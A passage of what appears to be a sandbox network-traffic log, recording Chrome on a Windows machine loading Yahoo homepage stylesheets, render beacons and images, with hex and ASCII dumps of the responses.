2024-04-27 22:41:46 UTC	128	IN	Data Raw: 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 6e 67 79 2d 66 6f 6e 74 73 2f 59 61 68 6f 6f 53 61 6e 73 2d 56 46 2d 57 65 62 2e 77 6f 66 66 32 22 20 61 73 3d 22 66 6f 6e 74 22 20 74 79 70 65 3d 22 66 6f 6e 74 2f 77 6f 66 66 32 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a Data Ascii: ink rel="preload" href="https://s.yimg.com/cv/apiv2/ngy-fonts/YahooSans-VF-Web.woff2" as="font" type="font/woff2" crossorigin>
2024-04-27 22:41:46 UTC	1300	IN	Data Raw: 33 66 66 39 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6e 6f 6e 63 65 3d 22 36 32 36 66 36 31 39 32 34 30 65 36 30 35 61 36 36 30 61 35 30 36 33 39 63 39 36 33 62 61 61 34 61 35 35 38 65 30 31 66 33 65 65 30 62 33 34 36 31 31 61 31 66 37 39 33 62 30 32 34 64 33 38 39 22 3e 2f 2a 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 71 2f 73 63 70 2f 63 73 73 2f 63 6f 6d 6d 6f 6e 41 74 6f 6d 69 63 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 61 32 33 31 34 66 30 36 64 35 61 37 30 64 38 36 34 32 37 35 63 33 65 37 31 31 35 62 30 39 37 62 2e 63 73 73 20 2a 2f 20 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 66 73 5c 29 7b 61 Data Ascii: 3ff9<style type="text/css" nonce="626f619240e605a660a50639c963baa4a558e01f3ee0b34611a1f793b024d389">/* https://s.yimg.com/aaq/scp/css/commonAtomic.atomic.ltr.a2314f06d5a70d864275c3e7115b097b.css */ #atomic .Ai$c${align-items:center}#atomic .Ai$fs${a
2024-04-27 22:41:46 UTC	1300	IN	Data Raw: 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 32 32 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 32 34 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 32 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 33 30 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 34 30 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 35 30 5c 25 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 7d 23 61 74 6f Data Ascii: portant}#atomic .Bdrs$22px${border-radius:22px}#atomic .Bdrs$24px${border-radius:24px}#atomic .Bdrs$2px${border-radius:2px}#atomic .Bdrs$30px${border-radius:30px}#atomic .Bdrs$40px${border-radius:40px}#atomic .Bdrs$50\%${border-radius:50%}#ato
2024-04-27 22:41:46 UTC	1300	IN	Data Raw: 31 32 32 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 66 31 31 32 32 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 23 32 32 32 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 23 66 35 66 38 66 61 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 35 66 38 66 61 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 23 66 39 30 32 35 36 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 39 30 32 35 36 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 23 66 66 66 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 2d 2d 62 6c 75 72 70 6c 65 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: 122\){background-color:#0f1122}#atomic .Bgc$\#222${background-color:#222}#atomic .Bgc$\#f5f8fa${background-color:#f5f8fa}#atomic .Bgc$\#f90256${background-color:#f90256}#atomic .Bgc$\#fff${background-color:#fff}#atomic .Bgc$--blurple${background
2024-04-27 22:41:46 UTC	1300	IN	Data Raw: 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 63 61 76 65 5c 29 5c 3a 68 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 5c 29 5c 3a 5c 3a 70 68 3a 3a 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 62 6c 75 72 70 6c 65 5c 29 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 6c 75 72 70 6c 65 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 2d 2d 63 61 72 72 6f 74 2d 6a 75 69 63 65 5c 29 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 61 72 72 6f 74 2d 6a 75 69 63 65 29 7d 23 61 74 6f 6d Data Ascii: atomic .C$--batcave$\:h:hover{color:var(--batcave)}#atomic .C$--battleship$,#atomic .C$--battleship$\:\:ph::placeholder{color:var(--battleship)}#atomic .C$--blurple${color:var(--blurple)}#atomic .C$--carrot-juice${color:var(--carrot-juice)}#atom
2024-04-27 22:41:46 UTC	1300	IN	Data Raw: 5c 28 6e 5c 29 2c 2e 77 61 66 65 72 2d 66 65 74 63 68 2d 74 61 72 67 65 74 2d 65 72 72 6f 72 20 2e 77 61 66 65 72 2d 66 65 74 63 68 2d 74 61 72 67 65 74 2d 65 72 72 6f 72 5f 44 5c 28 6e 5c 29 2c 2e 77 61 66 65 72 2d 66 6f 72 6d 2d 63 6f 6d 70 6c 65 74 65 20 2e 77 61 66 65 72 2d 66 6f 72 6d 2d 63 6f 6d 70 6c 65 74 65 5f 44 5c 28 6e 5c 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 69 67 6e 65 64 2d 6f 75 74 2d 76 69 65 77 20 2e 73 69 67 6e 65 64 2d 6f 75 74 2d 76 69 65 77 5f 44 5c 28 66 5c 29 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 46 78 5c 28 5c 24 66 6c 65 78 31 5c 29 7b 66 6c 65 78 3a 31 7d 23 61 74 6f 6d 69 63 20 2e 46 6c 78 67 5c 28 30 5c 29 7b 66 6c 65 78 2d Data Ascii: $n$,.wafer-fetch-target-error .wafer-fetch-target-error_D$n$,.wafer-form-complete .wafer-form-complete_D$n${display:none!important}.signed-out-view .signed-out-view_D$f${display:flex!important}#atomic .Fx$\$flex1${flex:1}#atomic .Flxg$0${flex-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49782	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	1124	OUT	GET /info/p.gif?apptype=default&beaconType=pageRenderStart&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&device=desktop&intl=us&rid=1sbetl5j2qvpa&site=fp&t=1714257706529 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
2024-04-27 22:41:48 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Sat, 27 Apr 2024 22:41:48 GMT x-envoy-upstream-service-time: 2 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=391n18hj2qvpc&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49785	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	1122	OUT	GET /info/p.gif?apptype=default&beaconType=pageRenderEnd&code=pageRender&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&device=desktop&intl=us&rid=1sbetl5j2qvpa&site=fp&t=1714257706531 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
2024-04-27 22:41:48 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Sat, 27 Apr 2024 22:41:48 GMT x-envoy-upstream-service-time: 1 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=26m5alhj2qvpc&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49788	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	599	OUT	GET /pv/static/ms/trendingNow.yhome-atomic.c16f97f81be530fa2b48a1ffeffd4678.min.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:48 UTC	808	IN	HTTP/1.1 200 OK x-amz-id-2: WCXpnsQGL/zj6kcZJTnPPpA6H63fsTXoO3461R8kZ6NKbnwCoRlpkz343viIqHV+irGGVsJ+eRlg18hi95p7XT+6essXYtpR x-amz-request-id: DA7T5ZR7A0YVJRD1 Date: Sat, 27 Apr 2024 13:35:04 GMT Last-Modified: Mon, 22 Apr 2024 09:38:40 GMT ETag: "3236243f9f433152b1d74a6376981029" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 10108 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 32805 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 23 61 74 6f 6d 69 63 20 2e 41 69 5c 28 63 5c 29 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 23 61 74 6f 6d 69 63 20 2e 42 64 5c 28 6e 5c 29 2c 2e 42 64 5c 28 6e 5c 29 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 5c 24 73 72 63 68 46 75 6a 69 44 69 72 74 79 53 65 61 67 75 6c 6c 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 65 30 65 34 65 39 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 2c 23 65 30 65 34 65 39 29 7d 23 61 74 6f 6d 69 63 20 2e 42 64 63 5c 28 74 5c 29 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 64 65 6e 64 63 5c 28 5c 23 30 30 35 37 62 38 5c 29 5c 3a 5c 3a 62 3a 3a 62 65 Data Ascii: #atomic .Ai$c${align-items:center}#atomic .Bd$n$,.Bd$n${border:none}#atomic .Bdc$\$srchFujiDirtySeagull${border-color:#e0e4e9;border-color:var(--dirty-seagull,#e0e4e9)}#atomic .Bdc$t${border-color:transparent}#atomic .Bdendc$\#0057b8$\:\:b::be
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 7b 62 6f 72 64 65 72 2d 6c 65 66 74 2d 77 69 64 74 68 3a 31 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 32 70 78 5c 29 5c 3a 5c 3a 62 3a 3a 62 65 66 6f 72 65 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 33 30 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 33 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 5c 28 38 70 78 5c 29 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 62 65 6e 64 5c 28 38 70 78 5c 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 42 64 72 73 62 73 74 61 72 74 5c 28 38 70 78 5c 29 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c Data Ascii: {border-left-width:112px}#atomic .Bdrs$2px$\:\:b::before{border-radius:2px}#atomic .Bdrs$30px${border-radius:30px}#atomic .Bdrs$8px${border-radius:8px}#atomic .Bdrsbend$8px${border-bottom-right-radius:8px}#atomic .Bdrsbstart$8px${border-bottom-l
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 66 69 72 65 49 63 6f 6e 46 69 6e 61 6c 5f 5f 61 6c 70 68 61 5f 62 67 2d 32 30 32 33 31 31 30 31 30 33 33 31 2e 67 69 66 27 29 29 7d 2e 61 63 74 69 76 65 20 2e 61 63 74 69 76 65 5f 42 67 63 5c 28 5c 24 73 72 63 68 46 75 6a 69 57 68 69 74 65 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 77 68 69 74 65 2c 23 66 66 66 29 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 23 37 65 31 66 66 66 5c 29 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 65 31 66 66 66 7d 23 61 74 6f 6d 69 63 20 2e 42 67 63 5c 28 5c 24 73 72 63 68 46 75 6a 69 57 68 Data Ascii: .com/pv/static/img/fireIconFinal__alpha_bg-202311010331.gif'))}.active .active_Bgc$\$srchFujiWhite${background-color:#fff!important;background-color:var(--white,#fff)!important}#atomic .Bgc$\#7e1fff${background-color:#7e1fff}#atomic .Bgc\(\$srchFujiWh
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 2c 23 32 33 32 61 33 31 29 21 69 6d 70 6f 72 74 61 6e 74 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 23 66 66 66 66 66 66 5c 29 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 24 73 72 63 68 46 75 6a 69 42 61 74 63 61 76 65 5c 29 7b 63 6f 6c 6f 72 3a 23 32 33 32 61 33 31 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 63 61 76 65 2c 23 32 33 32 61 33 31 29 7d 23 61 74 6f 6d 69 63 20 2e 43 5c 28 5c 24 73 72 63 68 46 75 6a 69 42 61 74 74 6c 65 73 68 69 70 5c 29 7b 63 6f 6c 6f 72 3a 23 35 62 36 33 36 61 3b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 2c 23 35 62 36 33 36 61 29 7d 23 Data Ascii: {color:#232a31!important;color:var(--batcave,#232a31)!important}#atomic .C$\#ffffff${color:#fff}#atomic .C$\$srchFujiBatcave${color:#232a31;color:var(--batcave,#232a31)}#atomic .C$\$srchFujiBattleship${color:#5b636a;color:var(--battleship,#5b636a)}#
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 74 6f 6d 69 63 20 2e 46 77 5c 28 35 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 36 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 37 30 30 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 77 5c 28 62 5c 29 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 30 5c 2e 36 38 37 35 72 65 6d 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 36 38 37 35 72 65 6d 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 30 5c 2e 38 37 35 72 65 6d 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 72 65 6d 7d 23 61 74 6f 6d 69 63 20 2e 46 7a 5c 28 31 32 70 78 5c 29 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 Data Ascii: tomic .Fw$500${font-weight:500}#atomic .Fw$600${font-weight:600}#atomic .Fw$700${font-weight:700}#atomic .Fw$b${font-weight:700}#atomic .Fz$0\.6875rem${font-size:.6875rem}#atomic .Fz$0\.875rem${font-size:.875rem}#atomic .Fz$12px${font-size:1
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 29 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 31 30 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 34 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 34 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 35 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 62 5c 28 38 70 78 5c 29 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 38 70 78 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 30 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 4d 73 74 61 72 74 5c 28 30 5c 29 5c 3a 66 6f 74 3a 66 69 72 73 74 2d 6f 66 2d 74 79 70 65 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 23 61 74 6f 6d 69 63 20 2e 4d 73 Data Ascii: ){margin-right:8px}#atomic .Mb$10px${margin-bottom:10px}#atomic .Mb$4px${margin-bottom:4px}#atomic .Mb$5px${margin-bottom:5px}#atomic .Mb$8px${margin-bottom:8px}#atomic .Mstart$0$,#atomic .Mstart$0$\:fot:first-of-type{margin-left:0}#atomic .Ms
2024-04-27 22:41:48 UTC	1300	IN	Data Raw: 3a 30 7d 23 61 74 6f 6d 69 63 20 2e 50 5c 28 31 36 70 78 5c 29 7b 70 61 64 64 69 6e 67 3a 31 36 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 78 5c 28 31 35 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 37 70 78 5c 29 2c 23 61 74 6f 6d 69 63 20 2e 50 79 5c 28 37 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 79 5c 28 37 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 37 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 31 31 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 31 70 78 7d 23 61 74 6f 6d 69 63 20 2e 50 74 5c 28 32 70 78 5c 29 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 Data Ascii: :0}#atomic .P$16px${padding:16px}#atomic .Px$15px${padding-left:15px;padding-right:15px}#atomic .Pt$7px$,#atomic .Py$7px${padding-top:7px}#atomic .Py$7px${padding-bottom:7px}#atomic .Pt$11px${padding-top:11px}#atomic .Pt$2px${padding-top:2px
2024-04-27 22:41:48 UTC	1008	IN	Data Raw: 65 7d 23 61 74 6f 6d 69 63 20 2e 56 61 5c 28 74 5c 29 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 23 61 74 6f 6d 69 63 20 2e 57 68 73 5c 28 6e 77 5c 29 2c 2e 45 6c 6c 7b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 5c 24 73 72 63 68 48 6f 6d 65 54 6e 52 6f 77 5c 29 7b 77 69 64 74 68 3a 63 61 6c 63 28 35 30 25 20 2d 20 34 70 78 29 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 31 30 30 5c 25 5c 29 7b 77 69 64 74 68 3a 31 30 30 25 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 31 31 5c 2e 32 35 70 78 5c 29 7b 77 69 64 74 68 3a 31 31 2e 32 35 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 31 31 32 70 78 5c 29 7b 77 69 64 74 68 3a 31 31 32 70 78 7d 23 61 74 6f 6d 69 63 20 2e 57 5c 28 31 32 70 78 5c 29 7b 77 69 64 Data Ascii: e}#atomic .Va$t${vertical-align:top}#atomic .Whs$nw$,.Ell{white-space:nowrap}#atomic .W$\$srchHomeTnRow${width:calc(50% - 4px)}#atomic .W$100\%${width:100%}#atomic .W$11\.25px${width:11.25px}#atomic .W$112px${width:112px}#atomic .W$12px${wid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49787	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:48 UTC	750	OUT	GET /uu/api/res/1.2/GYWgpG844cdsv4JJfKMGEw--~B/Zmk9c3RyaW07aD0yNzI7cT05NTt3PTU2MDthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/3d089b898ea7ad8da5d544de2d15a0d8.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
